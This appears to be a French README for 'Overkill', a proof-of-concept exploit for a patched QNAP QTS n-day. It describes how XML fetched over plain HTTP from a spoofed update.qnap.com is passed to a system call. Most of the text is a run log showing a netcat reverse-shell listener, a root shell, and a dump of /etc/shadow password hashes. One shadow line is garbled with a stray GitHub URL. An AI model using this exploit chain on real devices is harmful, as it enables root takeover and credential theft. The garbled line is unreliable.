
QNAP N-Day (Probablement pas CVE-2020-2509)
Overkill est un exploit pour une vulnérabilité corrigée affectant QNAP QTS. En raison de la façon dont QNAP divulgue les vulnérabilités, je ne sais pas si ce problème a un CVE ou non. Cependant, il a probablement été corrigé en novembre 2020 et avril 2021. Le n-day a été « découvert » lors d'une analyse de différences pour CVE-2020-2509. Il ne s'agit presque certainement pas de CVE-2020-2509.
L'exploit envoie des requêtes HTTP GET à /cgi-bin/qnapmsg.cgi?lang=xxx, ce qui fait que les appareils QNAP non corrigés téléchargent un fichier XML depuis update.qnap.com via HTTP non sécurisé. Un attaquant capable de rediriger update.qnap.com vers lui-même peut répondre avec un fichier XML contrôlé par l'attaquant. Lorsque le QNAP analyse le fichier XML, il transmet une partie du contenu à un appel system, ce qui entraîne un reverse shell.
Cet exploit n'implémente pas la méthode pour que les requêtes vers update.qnap.com soient dirigées vers l'exploit. Dans l'exemple ci-dessous, j'utilisais le détournement DNS du routeur sur mon propre routeur... votre kilométrage peut varier.
albinolobster@ubuntu:~/overkill$ sudo python3 overkill.py --rhost 10.12.70.251 --lhost 10.12.70.252
01001001001000000110001101100001011011100010011101110100001000000110011101100101
______ ___ ___ _______ _______ __ ___ __ ___ ___
/ " \|" \ /" |/" "| /" \ |/"| / ") |" \ |" | |" |
// ____ \\ \ // /(: ______)|: |(: |/ / || | || | || |
/ / ) :)\\ \/. ./ \/ | |_____/ )| __/ |: | |: | |: |
(: (____/ // \. // // ___)_ // / (// _ \ |. | \ |___ \ |___
\ / \\ / (: "||: __ \ |: | \ \ /\ |\( \_|: \( \_|: \
\"_____/ \__/ \_______)|__| \___)(__| \__)(__\_|_)\_______)\_______)
01110100001000000111010001101111001000000111001101101100011001010110010101110000
🦞 jbaines-r7
[+] Forking a netcat listener
[+] Using /usr/bin/nc
Listening on 0.0.0.0 1270
[+] Spinning up HTTP server
[!] Attempting http://10.12.70.251:8080/cgi-bin/qnapmsg.cgi?lang=eng
[+] Received an HTTP request from 10.12.70.251 on 27/Jul/2022 11:58:23
[*] Requested /loginad//qnapmsg_eng.xml
10.12.70.251 - - [27/Jul/2022 11:58:23] "GET /loginad//qnapmsg_eng.xml HTTP/1.1" 200 -
Connection received on 10.12.70.251 44630
bash-3.2# uname -a
uname -a
Linux NAS4A32F3 4.2.8 #1 SMP Sun Nov 8 01:50:48 CST 2020 aarch64 GNU/Linux
bash-3.2# id
id
uid=0(admin) gid=0(administrators)
bash-3.2# cat /etc/shadow
cat /etc/shadow
admin:!$1$5pFeLUat$D8jTQogWJy0HF3XjkD13q/:19181:0:99999:7:::
guest:$1$$ysap7EeB9ODCrO46Psdbq/:14233:0:99999:7:::
httpdusr:!:19181:0:99999:7:::
albinolobster:$1$cZCC65z5$NXtIBB4hgqzVG.PHyShKh1:19195:0:99999:7:::
[sshd]:https://raw.githubusercontent.com/jbaines-r7/overkill/main/!:19181:0:99999:7:::
bash-3.2# exit